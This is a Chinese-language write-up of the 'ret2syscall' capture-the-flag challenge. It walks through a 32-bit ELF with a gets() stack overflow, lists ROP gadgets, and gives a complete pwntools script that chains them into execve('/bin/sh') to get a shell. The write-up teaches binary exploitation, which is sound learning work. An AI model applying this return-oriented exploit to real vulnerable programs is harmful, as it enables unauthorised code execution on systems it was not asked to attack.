ret2syscall

题目地址 ret2syscall

0x1

下载文件到本地后,首先,file 看看文件类型,顺便看看文件类型。

1
2
3
4
5
6
7
8
9
sakura@Kylin:~/下载/ret2syscall$ file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped
sakura@Kylin:~/下载/ret2syscall$ checksec rop
[*] '/home/sakura/下载/ret2syscall/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

可以看到,这是一个 32 位程序,并且只开启了 NX 保护机制。

0x2

再拖进 IDA 中看看源码。

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

我们从源码中可以看到 gets() 函数,它能读取字符串直到输入回车才终止。所以它是我们溢出的目标函数,而它把读入的数据放在 v4 中,v4相对 ebp 偏移为 0x64 + 0x8 (源码第3行)。所以我们需要填充 112 个字节才能覆盖返回地址。由于开启了 NX,我们无法自己用shellcode填充栈来获得 shell,所以我们利用程序中的代码片段(gadgets) 来获得 shell。

0x3

我们需要构造的函数:execve("/bin/sh", NULL, NULL)

其中该程序是 32 位,所以我们需要使得

1
2
3
4
eax = 0xb
ebx --> "/bin/sh"
ecx = 0
edx = 0

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

用下面这条命令来查找程序中所有 pop reg; ret; 指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
sakura@Kylin:~/下载/ret2syscall$ ROPgadget --binary rop  --only 'pop|ret' | grep 'pop'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809d7b2 : pop ds ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d5 : pop ebp ; pop esi ; pop edi ; ret
0x0804838e : pop ebp ; ret
0x080a9a45 : pop ebp ; ret 0x10
0x08096a29 : pop ebp ; ret 0x14
0x08070d76 : pop ebp ; ret 0xc
0x0804854a : pop ebp ; ret 4
0x08049c00 : pop ebp ; ret 8
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0804838d : pop edi ; pop ebp ; ret
0x080a9a44 : pop edi ; pop ebp ; ret 0x10
0x08096a28 : pop edi ; pop ebp ; ret 0x14
0x08070d75 : pop edi ; pop ebp ; ret 0xc
0x08048549 : pop edi ; pop ebp ; ret 4
0x08049bff : pop edi ; pop ebp ; ret 8
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0805c508 : pop edi ; pop esi ; ret
0x0804846f : pop edi ; ret
0x08049a1b : pop edi ; ret 4
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0806eb6a : pop edx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080671ea : pop es ; pop edi ; ret
0x0806742a : pop es ; ret
0x08092259 : pop esi ; pop ebp ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x0804838c : pop esi ; pop edi ; pop ebp ; ret
0x080a9a43 : pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a27 : pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d74 : pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048548 : pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfe : pop esi ; pop edi ; pop ebp ; ret 8
0x0804846e : pop esi ; pop edi ; ret
0x08049a1a : pop esi ; pop edi ; ret 4
0x08049a95 : pop esi ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080bb146 : pop esp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
0x080639f9 : pop ss ; ret 0x2c73
0x080643ba : pop ss ; ret 0x3273
0x080639e4 : pop ss ; ret 0x3e73
0x080643a0 : pop ss ; ret 0x4c73
0x080639cf : pop ss ; ret 0x5073
0x080639ba : pop ss ; ret 0x6273
0x08064386 : pop ss ; ret 0x6673
0x08061f05 : pop ss ; ret 0x830f

我们分别选择以下指令来布置寄存器:

1
2
0x080bb196 : pop eax ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

此外,我们需要获得 /bin/sh 字符串对应的地址 和 int 0x80 对应的地址

1
2
3
4
5
6
7
8
9
10
sakura@Kylin:~/下载/ret2syscall$ ROPgadget --binary rop  --string '/bin/sh' 
Strings information
============================================================
0x080be408 : /bin/sh
sakura@Kylin:~/下载/ret2syscall$ ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

接下来就是构建payload了。

1
2
3
4
5
6
7
8
9
10
11
|+————————+|
|+aaaaaaaa+|
|+........+|
|+aaaaaaaa+|
|+pop eax; ret+|
|+0xb+|
|+pop edx; pop ecx; pop ebx; ret+|
|+0x0+|
|+0x0+|
|+/bin/sh+|
|+int 0x80+|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#ret2syscall.py
from pwn import *
sh = process('./rop')

pop_eax = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x080be408

payload = b"a"*(112)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(pop_edx_ecx_ebx)
payload += p32(0x0)
payload += p32(0x0)
payload += p32(binsh)
payload += p32(int_0x80)

sh.sendline(payload)
sh.interactive()

0x4

测试

image-20220915000135702